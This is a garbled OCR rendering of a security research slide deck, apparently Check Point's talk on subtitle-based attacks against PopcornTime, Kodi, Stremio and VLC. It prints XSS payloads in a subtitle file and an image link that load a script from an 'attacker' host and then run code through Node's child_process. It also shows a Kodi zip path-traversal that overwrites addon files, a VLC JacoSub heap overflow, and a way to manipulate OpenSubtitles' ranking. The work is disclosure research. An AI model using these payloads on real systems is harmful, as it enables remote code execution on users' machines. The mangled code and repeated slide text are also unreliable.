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Subtitles Drive-by Attack

Subtitles are considered dangerous
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SRT | Basic HTML
- SubRip <b> <i><u>,<font...>



SRT | Basic HTML
- SubRip <b> <i><u>,<font...>

_ Basic Formatting
- S U B SubViewer [Color],[Font],[br]



SRT Basic HTML
- SubRip <b> <i><u>,<font...>

SUB °“Wesub



SRT Basic HTML
- SubRip <b> <i><u>,<font...>
SubViewer Control Codes

B MPSub {y:ifu/b/s) {f:font} {s:size),
'SU MicrobVD {C:#0000FF},{p:X,Y},{H:Greek]}



SRT Basic HTML
- SubRip <b> <i><u>,<font...>
SubViewer Control Codes

MPSub ly:i/u/b/s},{f:font},{s:size},
'SUB MicrobVD {C:#0000FF},{p:X,Y},{H:Greek]}

.SSA SubStationAlpha

Name, Fontname, Fontsize, PrimaryColour, SecondaryColour,
TertiaryColour, BackColour, Bold, ltalic, BorderStyle, Outline,
Shadow, Alignment, MarginL, MarginR, MarginV, Alphalevel,
-ncoding




SRT Basic HTML
- SubRip <b> <i><u>,<font...>
SubViewer Control Codes

B MPSub {y:ifu/b/s) {f:font} {s:size),
'SU MicrobVD {C:#0000FF},{p:X,Y},{H:Greek]}

.SSA SubStationAlpha



SRT Basic HTML
- SubRip <b> <i><u>,<font...>
SubViewer Control Codes

B MPSub {y:ifu/b/s) {f:font} {s:size),
'SU MicrobVD {C:#0000FF},{p:X,Y},{H:Greek]}

- SS SubStationAlpha

A



SRT Basic HTML
- SubRip <b> <i><u>,<font...>
SubViewer Control Codes

B MPSub {y:ifu/b/s) {f:font} {s:size),
'SU MicrobVD {C:#0000FF},{p:X,Y},{H:Greek]}

- ASS Advanced SubStationAlpha



SRT Basic HTML
- SubRip <b> <i><u>,<font...>
SubViewer Control Codes

B MPSub {y:ifu/b/s) {f:font} {s:size),
'SU MicrobVD {C:#0000FF},{p:X,Y},{H:Greek]}

.ASS Advanced SubStationAlpha



ASS

Scaling Binary Font Embedding
Angle Shifting Blge=\Wilale
Binary Image Embedding System Commands

© ® © VLC media player

Command: This is a "command” event, which means SSA will execute the specified program as a
background task.

N

We'can'draw our,own dinosaury>







SRT Basic HTML
- SubRip <b> <i><u>,<font...>
SubViewer Control Codes

B MPSub {y:ifu/b/s) {f:font} {s:size),
'SU MicrobVD {C:#0000FF},{p:X,Y},{H:Greek]}

.ASS Advanced SubStationAlpha



SRT

ASS . .
AQT .STL .DKS

JSS .SSF . TTXT
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Native Application With Web Technologies Support



Native Application With Web Technologies Support




Native Application With Web Technologies Support

NW.js Electron
@
(f//\q‘)
%Q s )/
>
Birth 2011 2013
Maintainer Intel GitHub
Platforms Mac, Linux & Windows Mac, Linux & Windows
Runtime Chromium (V8) libchromiumcontent (V8)
XP Support Yes No
PDF Support Yes Using pdf.js

Plugin Support NaCL, Pepper Pepper



Native Applicationitierédsibitiex?hnologies Support

rf)v
)
XSS =RCE

var exec = require(‘child process') .exec;

exec('calc.exe', function callback(error, stdout, stderr) {
// result

})



Popcornlime

GAT G O F 1

,ﬁi'f-"
e ﬂ
AN 72

DALLAS
BUYERS CLUB

._:\ f’:’ e
“‘ - .':

AW OF REANL

COUNSELOR

= £



ow PopcornTime uses the subtitles

//transcode .ass, .ssa, .txt to SRT

var convert2srt = function (file, ext, callback) {
var readline = require('readline'),
counter = null,
lastBeginTime,

//input
orig = /([M\\]+)$/.exec(file)[1],
origPath = file.substr(0, file.indexOf(orig)),

/ /output
srt = orig.replace(ext, '.srt'),
srtPath = Settings.tmplLocation,

// Add cue HTML to display
vjs.TextTrack.prototype.updateDisplay = function(){
var cues = this.activeCues_,

html = ",
1=0,j=cues.length;

for (;i<j;i++) {
html += '<span class="vjs-tt-cue">'-'</span>'; *
h

this.el .innerHTML = html;
¥

Isrc/lapp/vendor/videojshooks.js



1
00:00:01,000 --> 00:00:10,000
<imegesace: SUtItles witmetns
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<img src="123.123" onerror="

this.style.display="none’;

script = document.createklement('script’);

script.type = 'text/javascript’;

script.async = true;

script.src = ‘http://attacker:1337/evil.js’;
document.getElementByTagName('head’)[0].appendChild(script);

>

evil.|s:

var exec = require(‘child process') .exec;

exec('calc.exe', function callback(error, stdout, stderr) {
// result

})



PopcornTime Demo




The Watering Hole

Translation in context | Movie Subtitles | English Subtitles | RIsBB | Releaselog | Your link here

You are not logged in! Log-In | Register B site Lanquage

opensubtities

/ org

Forum

Advanced search
Applet search

Language




The Smart Search

Request Response

*xml version="1.0"?2>

<methodCall>
<methodName>SearchSubtitles</methodlName>

<params>
<param>
<value>
<string>UNTcwPhOl7BkdCleo0yTTWv3IhXS5</string>
</value>
</ par am>
<param.>
<value>

<array>

<nam=>imdbid</ nam=>
value>

<String>2294629</string>
alue>

<

</ MeEmpex>

<membd

</ param>

</ params>
‘methodCall>




How does It rank

. matched by 'hash' and uploaded
From the documentation: + admin|trusted
+ platinum|gold

T user | anon

matched by

-

+ admin|trusted

+ platinum|gold

T user | anorn

<member>

<nam=>imdbid</ nam=>

matched by imdb and uplo:

alue> i =
- , + admin|trusted
<String>2294629</scring>

+ platinum|gold

sJalue>

<name>sublanguageid</ name>

ralue> 1Ier and upl
<stringrall</string> . .
trusted

</valueo

</menbher>

bonus © s matching
+ nothing matches

+ imdb matches




How does It rank - from the source code

tmp.score = 0;

if (sub.MatchedBy === 'moviehash') {
tmp.score += 8;

¥

if (sub.MatchedBy === 'tag') {
tmp.score += 7;

} else { R —
tmp.score += matchTags(sub, 7); *

if (sub.MatchedBy === 'imdbid') {
tmp.score += 5;
if (sub.MovieFPS && input.fps && parselnt(sub.MovieFPS) > 0) {
if (sub.MovieFPS.startsWith(input.fps) || input.fps.toString().startsWith(sub.MovieFPS)) {
tmp.score += 0.5;

¥
¥
¥
if (sub.MatchedBy.match(/moviehash|tag|imdbid/) === null) {
if (sub.MovieFPS && input.fps && parselnt(sub.MovieFPS) > 0) {
if (sub.MovieFPS.startsWith(input.fps) || input.fps.toString().startsWith(sub.MovieFPS)) {
tmp.score += 2;
¥
¥
¥
if (sub.UserRank === 'trusted' || sub.UserRank === 'administrator') {
tmp.score += 4;
¥
if (sub.UserRank === 'platinum member' || sub.UserRank === 'gold member') {

tmp.score += 3;

h



MatchTags()

var matchTags = function(sub, maxScore) {
if (!input.filename) {
return 0;
b

if (!'fileTags) {
fileTags = normalize(input.filename)
.toLowerCase()
.match(/[a-z0-91{2,}/91);

}

if (fileTags.length === 0) {
return 0;

}

if (subTags.length === 0) {
return 0;
¥

_.each(fileTags, function(tag) {
fileTagsDic[tag] = false;
});




Movie Name: Trolls.2016.1080p.BluRay . x264-[YTS. AG] mp4
Subtitle Name: Trolls.2016 .BDRip.x264-Sparks.srt



Movie Name: . . . _ -

Subtitle Name: Trolls.2016 .BDRip.x264-Sparks.srt

Trolls
2016
1080p
BluRay
X204
YTS
AG
mp4



Movie Name:

Subtitle Name:

Trolls
2016
1080p
BluRay
X204
YTS
AG
mp4

Trolls
2016
BDRip
X204
Sparks

Sri



Movie Name: | | . . -

Subtitle Name: . . . -

S




Movie Name: . . . _ -

Subtitle Name: . . . -

S

Sparks

Sri

SharedTags / MovieTags * MaxScore
3 8 /

=2



Movie Name: Trolls.2016.1080p.BluRay . x264-[YTS. AG] mp4
Subtitle Name: Trolls.2016 .BDRip.x264-Sparks.srt



Movie Name: Trolls.2016.1080p.BluRay . x264-[YTS. AGl.mp4
Subtitle Name: Trolls.2016.1080p. BluRay . x264-[YTS. AG].srt

Full Comptabillity = 7
Imdb ID =5
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16
14
12
10
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Deadpool
Frozen

Rank Rank
@» @ Avarage @ @» Avarage
PT ES AR EN JA A | RU
Snowden Inception
14
12
10
Rank . Rank
@» @ Avarage 6 @ @» Avarage

) RU AR JA ZH

14

12

EN ES
West World SO1EQ1
I I 1051
AR PT EN JA ZH

Highest Score: 14 Average Score: ~10

10

Rank

@» @ Avarage




User Ranking

user | anon
platinum | gold
admin | trusted

Profile
User ranking

Username:

user Ranks:

was enabled by os

E-mail

anNoNymous

, Downloaded, not yet rated: 0
VIE membe Uploaded subtitles: 101

Bronze meﬂ».n:,

Silver member

Gold member 101
' Flatinum member 1007
Administrator 0

Translator 0

Reqgistered on: Thu 6 Apr08:47:47 2017 /Israel
}:; L) h |p_;:”"h =1 Last login: Thu 6 Apr08:51:09 2017

no banners, some adverts
NO adverts
No adverts
NO adverts
NO adverts

rank icon

NO

NO

U ATty 3'-’!'!'Ad'-'em3 NO




Final Score

>node search—subs.j




/2 Languages

40 Million users




POST /xml-rpc HTTP/1.1
User—-Agent: opensubtitles—-api v3.3.0
Content-Type: text/xml

Accept: text/xml

Accept-Charset: UTF8 "’
Connection: Keep-Alive 4

Content-L th: 842 .
ontentTeng ) videoplayback
Host: api.opensubtitles.org

<?xml version="1.0"2> Manual search string
<methodCall>

<methodName>SearchSubtitles</methodName>
<params>
<param> Searching for subtitles ...
<value>
<=2tring>u395ThiOiN6Jf7CDAOssgyWIom8</=string>
</value>
</param>
<param>
<value>
<array>
<data>
<value>
<struct>
<member>
<name>imdbid</name>
<value>
<string>3774114</string>
</wvalue>
</membexr>
<member>
<name>sublanguageid</name>
<value>
<string>ind</string>
</value>
</member>
</struct>
</value>
</data>
</array>
</value>
</param>
</params>
</methodCall>




try:

search data = OSDBServer () .searchsubtitles(item)
if search data != None:

for item data in search data:

ur]_l = "plugin://%s/?action=download&link=%ss¢§ $s&filename=%$s&format=%s" % ( scriptid -

item data["ZipDown?

I W

item data["IDSubt:
item data["SubF
item data["Sukb

)

xbmcplugin.addDirectoryItem(handle=int (sys.argv[l]) ,url=url, 6 listitem=listitem,isFolder=False)

OpenSubtitles.org b,  enSubtitles 4‘0
videoplayback
2s.0rg by Opensubtitl 1 -1 Snowden.2016.720p.WEBRip.x264.AAC-ETRG-.ass Manual search string
naon...
-
Snowden.2016.Semua.Bluray.x264-Ganool.FGT_[TV].srt )
Indon... 9 subtitles found
1 T Snowden.Snowden-1080p.com:8081
naon
Ind Snowden.2016.1080p.0Official.x264
naon
H- Snowden...123. 2016.srt
naon

@Open Subtitles ™ o, 4en.2016.1080p.Official WEBRip.x264.AAC-ETRG-.



def Search( item ):
search data = []
try:
search data = OSDBServer () .searchsubtitles(item)

if search data != None:

for item data in search data:

urﬂ = "plugin://%s/?: n=down nk=%s&ID=%5&: name=3% rmat=%s" % (__ scriptid ,

item datal[”
item datal”
item datal
item datal[”

)

xbmcplugin.addDirectoryItem(handle=int (sys.argv[1l]) ,url=url,listitem=listitem,isFolder=False)

I
Qo
]

plugin://%s/? =download&link=%s&|D=%s&



def Search( item ):
search data = []
try:
search data = OSDBServer () .searchsubtitles(item)

if search data != None:

for item data in search data:

urﬂ = "plugin://%s/?: n=down nk=%s&ID=%5&: name=3% rmat=%s" % (__ scriptid ,

item data["Zi;

item data["I
J » item datal”

1tem datal”

)

xbmcplugin.addDirectoryItem(handle=int (sys.argv[1l]) ,url=iurl,ljistitem-listitem,isFolder=False)

plugin://%s/? =download&link=%s&|D=%s&

I
Qo
]



def Search( item ):
search data = []
try:
search data = OSDBServer () .searchsubtitles(item)

if search data != None:

for item data in search data:

urll = " 1gin: 1T n nk=>5 name=2% 5s" % (__scriptid__,

item datal[”
item datal[”
item datal[”
1tem datal”

)

xbmcplugin.addDirectoryItem(handle=int (sys.argv[1l]) ,url=iurl,ljistitem-listitem,isFolder=False)

plugin://%s/? =download&link=%s&|D=%s&

I
Qo
]



plugin://%s/?action=download&link=%s&|D=%s&filename=%s&format=%s



plugin://%s/?action=download&link=%s&|D=%s&filename=%s&format=%s



plugin://%s/?action=download&link=%s&|D=%:5s& &format=%s

filename=subtitles file name.srt&link=<controlled>&ID=<controlled>



plugin://%s/?action=download &link=%s&ID=%:s& &format=%s

filename=su btitles_ﬁIe_name.srt8-=<controlIed>&.=<contro|Ied>



plugin://%s/?action=download&link=%s&|D=%:5s& &format=%s

filename=subtitles_file_name.srt&link=<controlled>&ID=<controlled>

Download(id, url, format)



def Download(id,url, format,stack=False) :

subtitle os.path.join( temp , "%s.%s" %(str(uuid.uuid4()), format))

try:
result OSDBServer () .download(id, subtitle) *

except:
log( _ name ,

if not result: *

zip = os.path.join(  tem

f = urllib.urlopen(url)

with open(zip, "wb") as subFile:
subFile.write(f.read())

subFile.close ()

xbmc.sleep (500

xbmc.executebuiltin (('XBMC.Extract ("$s","%s")' % (zip, temp ,)) .encode(’

Download(id, url, format)
&link=




ownload(id,url, format,stack=False):

subtitle os.path.join( temp , "%s.%s" %(str(uuid.uuid4()), format))

try:
result OSDBServer () .download(id, subtitle) *

except:
log( name ,

if not result: *
zZip os.path.join(  tem "OpenSubtitles.zip") *

f = urllib.urlopen(url)
with open(zip, "wb") as subFile:
subFile.write(f.read())
subFile.close ()
xbmc.sleep (500)
xbmc .executebuiltin (('XBMC.Extract ("$s","%s")' % (zip, temp ,)).encode('utf-38'), Trueﬂ

Download(id, url, format)
= &link=




def Download(id,url, format,stack=False) :

subtitle os.path.join( temp , "%s.%s" %(str(uuid.uuid4()), format))

try:
result OSDBServer () .download(id, subtitle) *

except:
log( name , "failec

if not result: *

zip = os.path.join(  tem

f = urllib.urlopen(url)

with open(zip, "wb") as subFile:
subFile.write(f.read())

subFile.close ()

xbmc.sleep (500

xbmc.executebuiltin (('XBMC.Extract ("$s","%s")' % (zip, temp ,)).encode('utf

Download(id, url*format)
= &link=




bool CZipManager: :ExtractArchive( CURL& archive, std: :string& strPath)

{
std::vector<SZipEntry> entry;

CURL url = URIUtils::CreateArchivePath("zip", archive);

GetZipList(url, entry);
(std::vector<SZipEntry>::iterator it=entry.begin();it != entry.end();++1it)

{

(it->name[strlen(it->name)-1] == '/")
>
std::string strFilePath(it->name);

CURL zipPath = URIUtils::CreateArchivePath("zi#", arcliive, strFilePath);
CURL pathToUrl(strPath + strFilePath;

RN

(Icr_'1__ - Dy /__-_l'\_..l_l_ —_—al_ _1
} 4 %l malicious.zip File Type Modified
4 __j . .
Tt 5. , Python File 19/02/2017 15:23::
} 4 J‘ e

1) service.subtitles.opensubtitles
4 -{7) resources

Directory ITraversal
e Overwrite Addon Python File

.[..1..[../[Kodi/addons/service.subtitles.opensubstitles/<python_file>



Kodl Demo




Native Application With Web Technologies Support

©P opensubtities.org



Good ‘ol PopcornTime trick”

! { Back  X-Men:Apocalypse | ®1644 0O X

That didn’'t work



ASAR Archive

$ npm install asar

$ npm extract app.asar

bower_components
builds
css

dialogs

enginefs-server

fonts
Images
node_modules
SErvices
styl

2] app.js

3] blob.js

__| bower,json

€ index.html

__ package,json




Sanitize

angular.module("stremio") . factorv("nlaver",
["settings"”, |"$sanitize"), "subtitles"} function(e, n, 1) {

@ View Source (Z Improve this Doc

$sanitize

Sanitizes an html string by stripping all potentially dangerous tokens.

The input is sanitized by parsing the HTML into tokens. All safe tokens (from a whitelist) are then serialized back to properly escaped html
string. This means that no unsafe input can make it into the returned string.

The whitelist for URL sanitization of attribute values is configured using the functions aHrefSanitizationWhitelist and
imgSrcSanitizationWhitelist of $compileProvider.

The input may also contain SVG markup if this is enabled via $sanitizeProvider.




Support us?

Hello There @

e hope you enjoy Stremic ang it's one of your favourite apps alreacy
Who are we?We are the team behind it - two guys who work hard every day for
the last 3years to make this product better and better.




But what If...

<a href="http://attacker/evil.js">
<Img src="support.jpg”>

</a>
evil.|s:
exec = require(‘child process') .exec;
exec('calc.exe', callback(error, stdout, stderr) {

// result
})



Stremio Demo
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SUMMARY

Set 10 the Dackarop of Awesome NMutape #2,
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the team’s sdventures as they urravel the
mystery of Peter Quil's true parentage.




VLC

180,000,000 Users
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VLC

“very popular, but quite large and complex piece of software”



Supported File Formats

sub_read_subtitle function [] = {

{ "microdvd", SUB_TYPE_MICRODVD, "MicroDVD", ParseMicroDvd },

{ "subrip", SUB_TYPE_SUBRIP, "SubRIP", ParseSubRip },

{ “subviewer", SUB_TYPE_SUBVIEWER, "'SubViewer", ParseSubViewer },
{ "ssal", SUB_TYPE_SSA1, "SSA-1", ParseSSA },

{ "ssa2-4", SUB_TYPE_SSA2 4, ""SSA-2/3/4", ParseSSA },

{ "ass", SUB_TYPE_ASS, ""SSA/ASS", ParseSSA },

{ "vplayer", SUB_TYPE_VPLAYER, "VPlayer", ParseVplayer },

{ "sami", SUB_TYPE_SAMI, "SAMI", ParseSami },

{ "dvdsubtitle",SUB_TYPE DVDSUBTITLE, “DVDSubtitle", ParseDVDSubtitle },
{ "mpl2", SUB_TYPE_MPL2, "MPL2", ParseMPL2 },

{ "aqt", SUB_TYPE_AQT, "AQTitle", ParseAQT },

{ "pjs", SUB_TYPE_PJS, "PhoenixSub", ParsePJ]S },

{ "mpsub", SUB_TYPE_MPSUB, "MPSub", ParseMPSub },

{ "jacosub", SUB_TYPE_JACOSUB, ""JacoSub", ParselSS },

{ "psb", SUB_TYPE_PSB, "PowerDivx", ParsePSB },

{ "realtext", SUB_TYPE_RT, "RealText", ParseRealText },

{ "dks", SUB_TYPE_DKS, "DKS", ParseDKS 1},

{ "subviewerl", SUB_TYPE_SUBVIEW1, "Subviewer 1", ParseSubViewerl },
{ "text/vtt", SUB_TYPE_VTT, "WebVTT", ParseVTT },

{ NULL, SUB_TYPE_UNKNOWN, "Unknown", NULL } };



Decoder
subsdec.c

1
00:00:01,000 --> 00:00:10,000
<b><u><font size=14 color=green>Hello World</font></u></b>




Manual Auditing

subsdec.c

else if (!strncasecmp(psz_subtitle, "<font ", 6)) {

const char * psz_attribs[] = {
"face=", “family=", “size=", "color=", "outline-color=", '“shadow-color=",

"outline-level=", "shadow-level=", "back-color=","alpha=", NULL

i
HtmlCopy( & psz_html, & psz_subtitle, "<font ");

HtmlPut( & psz_tag, "f");
while ( * psz_subtitle != '>') {

;
00:00:01,000 --> 00:00:10,000

<font face="arial’> Hey...



Manual Auditing

subsdec.c

else if (!strncasecmp(psz_subtitle, "<font ", 6)) {

const char * psz_attribs[] = {
"face=", “family=", “size=", "color=", "outline-color=", '“shadow-color=",

"outline-level=", "shadow-level=", "back-color=","alpha=", NULL

i
HtmlCopy( & psz_html, & psz_subtitle, "<font ");

HtmlPut( & psz_tag, "f");
while ( * psz_subtitle != '>') {

;
00:00:01,000 --> 00:00:10,000

<font face="arial’> Hey...



Manual Auditing

subsdec.c

else if (!strncasecmp(psz_subtitle, "<font ", 6)) {

const _char * psz_attribs[] = {
“face=", “family=", “size=", "color=", "outline-color=", "'“shadow-color=",

"outline-level=", "shadow-level=", "back-color=","alpha=", NULL

i
HtmlCopy( & psz_html, & psz_subtitle, "<font ");

HtmlPut( & psz_tag, "f");
while ( * psz_subtitle != '>') {

;
00:00:01,000 --> 00:00:10,000

<font face="arial’> Hey...



Manual Auditing

subsdec.c

else if (!strncasecmp(psz_subtitle, "<font ", 6)) {

const char * psz_attribs[] = {
"face=", “family=", “size=", "color=", "outline-color=", '“shadow-color=",

"outline-level=", "shadow-level=", "back-color=","alpha=", NULL

i
HtmlCopy( & psz_html, & psz_subtitle, "<font ");

HtmlPut( & psz_tag, "f");
while ( * psz_subtitle !'= 's"') {

;
00:00:01,000 --> 00:00:10,000

<font face="arial’> Hey...



Manual Auditing

subsdec.c

else if (!strncasecmp(psz_subtitle, "<font ", 6)) {

const char * psz_attribs[] = {
"face=", “family=", “size=", "color=", "outline-color=", '“shadow-color=",

"outline-level=", "shadow-level=", "back-color=","alpha=", NULL
b
HtmlCopy( & psz_html, & psz_subtitle, "<font ");

HtmlPut( & psz_tag, "f");
while ( * psz_subtitle != '>') {

1
00:00:01,000 --> OO:OO:W
<font face="arial




Manual Auditing

subsdec.c

else if (!strncasecmp(psz_subtitle, "<font ", 6)) {

const char * psz_attribs[] = {
"face=", “family=", “size=", "color=", "outline-color=", '“shadow-color=",

"outline-level=", "shadow-level=", "back-color=","alpha=", NULL

i
HtmlCopy( & psz_html, & psz_subtitle, "<font ");

HtmlPut( & psz_tag, "f");
while ( * psz_subtitle != '>') {

;
00:00:01,000 --> 00:00:10,000

<font tace="arial” Hey...



Manual Auditing

subsdec.c

const char * psz_attribs[] = {
"face=", “family=", “size=“,
"outline-level=", "shadow-leve pifa=

HtmlPut( & psz_tag,
while ( * psz_supb

00:00:01,000 --> 00:00:10,000
<font face="arial” Hey...

""shadow-color=",
, NULL



Fuzzing Infrastructure

american fuzzy lop 2.39b (vlc)

® days, © hrs, © min, 55 sec

none seen yet 1
none seen yet 0
none seen yet 0

0 (0.00%) nap densit 20.19% / 20.19%

0 (0.00%) _ 1.01 bits/tuple
. trim 4/4 jored paths - 1 (100.00%)
14/49 (28.57%) 1 (100.00%)
91 @ (0 unique)

® (0 unique)
n/a, n/a, n/a
n/a, n/a, n/a
n/a, n/a, n/a
n/a, n/a, n/a
n/a, n/a, n/a
/06, 6/0
n/a, n/a

© @



ArFL

Folder of corpus Dictionary words

./afl-fuzz —t 600028~—m 2048 —i input/ —-o output/ -S "fuzzer$(date +%s)" —-x
subtitles.dict -- ~/sources/vlc-2.2-afl/bin/vic-static —q —I dummy —-sub-
file @@
—-sout='#transcode{vcodec="x264",soverlay=“true”}:standard{accéss="file", mux=
"avi',dst="/dev/null"}" ./input.mp4 vlc://quit

Show no window Argument to fuzz


vlc://quit




cCor-pus

00:00:1,000 --> 00:00:10,000




cCor-pus

0:0:1.0 0:0:10.0




cCor-pus

0:0:1.0 0:0:10.0

ParsedSS

JACO Sub Script files



ParsedSS

JACO Sub Script tiles

Directives
Global #|Directive][Arguments]

Inline [Timing] /[Directive|| Argument| Subtitles Text

#1100
#S -0.20
#F 3 JACOsub.font 18

0:00:00.00 0:00:01.00 CP2 Colorful Text!



ParsedSS

JACO Sub Script files

...{
while( *psz_text !'= ' ' )
{ psz_text++;}

}

/* Directives are NOT parsed yet x/

00:00:01 00:00:02 CP2 Hello World



ParsedSS

JACO Sub Script files

...{
while( *psz_text '=* ' )
{ psz_text++;}

}

/* Directives are NOT parsed yet x/

00:00:01 00:00:02 CP2 Hello World



ParsedSS

JACO Sub Script files

...{
while( *psz_text !'= ' ' )
{ psz_text++;}

}

/* Directives are NOT parsed yet x/

00:00:01 00:00:02 CP2HelloWorld



ParsedSS

JACO Sub Script tiles

...{
while( xpsz_text != "' '
{ psz_text++;}

}

00:00:01 OQRZ" | elloWorld



ParsedSS

1865 if( ( toupper((unsigned char)*(psz text + 1 ) ) == 'C" ) ||

1866 ( toupper((unsigned char)*(psz text + 1 ) ) == "F' ) )
1867 {

1869 | —

1870 ¥

0:0:1.0 0:0:10.0 \C #0000FF Meow
0:0:1.0 0:0:10.0 \F 3 JACOsub.font 18 Cat



ParsedSS

JSS

1865 if( ( toupper((unsigned char)*(psz text + 1 ) ) == 'C" ) ||
1866 ( toupper((unsigned char)*(psz text + 1 ) ) == 'F' ) )
1867 {

1868 psz text++; psz text++; I

1869 | - -

1870 ¥

0:0:1.0 0:0:10.0 \F\O



ParsedSS

JSS

1865 if( ( toupper((unsigned char)*(psz_text + 1) ) == 'C" ) ||
1866 ( toupper((unsigned char)*(psz_text + 1 ) ) == '"F' )
1867 {

1868 psz text++; psz text++;

1869 break;

1870 t



1823
1824
1825
1826
1827
1828
1829

1857

1865
1866
1867
1868
1869
1870

1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896

psz_
psz_

for(

{

ParsedSS

JSS

orig2 = calloc( strlen( psz text) + 1, 1 );
text2 = psz orig2;
i *psz_text !'= '\0' && *psz_text != '\n' && *psz_text != '\r'; )

switch( *psz_text )

{
case "\\':
if( ( toupper((unsigned char)*(psz text
( toupper((unsigned char)*(p
{
- psz_text++; psz text++;
}
else if( *(p
{
}
break;
default:
if( !p_s
{
*psz text2 = *psz text;
psz_textlZ++;
}
}

psz_text++;




1882
1883
1884
1885

else if( *(psz_text +

{

ParsedSS

JSS

I‘\.r‘l

-= \r |
- )

(IS
S S

*(psz_text +

eap Buffer Overf

*(psz_text + 1 ) == "\n’

low



IRELRO STACK CANARY

Partlal RELRO Canary fou

X
X
X

f_\Hr_\ﬁf_\

]
]
]
x]

call
call

call
call
call
call
call
call
[0x0

NX )
nd NX enabledgﬁa

Exploitation

checksec --file vlc
RPATH RUNPATH
No RUNPATH Yes 0

yannayl@yannay-HP-EliteDesk-800-G1-TWR:~/projects/vic/exploit$ r2 -A /usr/bin/vlc
| Analyze all flags starting with sym. and entry@ (aa)

Analyze len bytes of instructions for references (aar)
Analyze function calls (aac)
[*] Use -AA or aaaa to perform additional experimental analysis.

Constructing a function name for fcn.* and sym.func.* functions (aan))
Everything up-to-date.

0x4017e9
0x401852

=180 x4018c9

0x4019b5
0x401a28
0x401a89
0x401ad4
0x401b19
0x401b64
0401540]>

call
call
call
call
call
call
call
call
call
pd 7

sym.
sym.
sym.
sym.
sym.
sym.
sym.
sym.
sym.

imp

[0x00401540]> axt @ sym.imp.dlsym
imp.
imp.
imp.
imp.
.dlsym
imp.
imp.
imp.
imp.

dlsym
dlsym
dlsym
dlsym

dlsym
dlsym
dlsym
dlsym

@ 0x4018c9 -7

Ox004018c2
Ox004018c9
Ox004018ce
, =< 0x004018d1
| Ox004018d3
| Ox004018d6
| Ox004018d7

[6x00401540]1> |}

in
in
in
in
in
in
in
in
in

48c7c7
e8c2f7
4885cH

742f

4889df

5b
el

unknown function
unknown function
sub.dlsym 8b0
sub.dlsym 990
sub.dlsym 990
sub.dlsym 990
sub.dlsym 990
sub.dlsym 990
sub.dlsym 990

mov rdi, -1

call sym.imp.dlsym
test rax, rax

je 0x401902

mov rdi, rbx

pop rbx

jmp rax

@yannayli

6

FORTIFY Fortified Fortifiable FILE

vlic



VLC Demo
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i



Summary

25+ Subtitles formats
Unstandardised subtitles library

4 Platforms owned (PopcornTime, Kodi, StremlO,
VLC)

Subtitles repository manipulated (OpenSubtitles)
Full control over the subtitles supply chain

New malware delivery mechanism (~220 million users)



HACKED IN TRANSLATION

SUBTITLES WRITERS ~200 MILLION USERS

SUBTITLES
REPOSITORIES

25+ SUBTITLE
FORMATS

Stremio

2

Attacker crafts Attacker uploads to
malicious online repository
subtitles file and manipulates the

User loads

malicious subtitles
from trusted

ranking algorithm sources




MG M COM Activate Windows
) Go to PC settings to activate Windows




Check Point Software Technologies

' Madagascar Escape 2 Africa.mky - VLC media playe

y@OmriHer y@GuIIOmer

omrih@checkpoint.com omergu@checkpoint.com




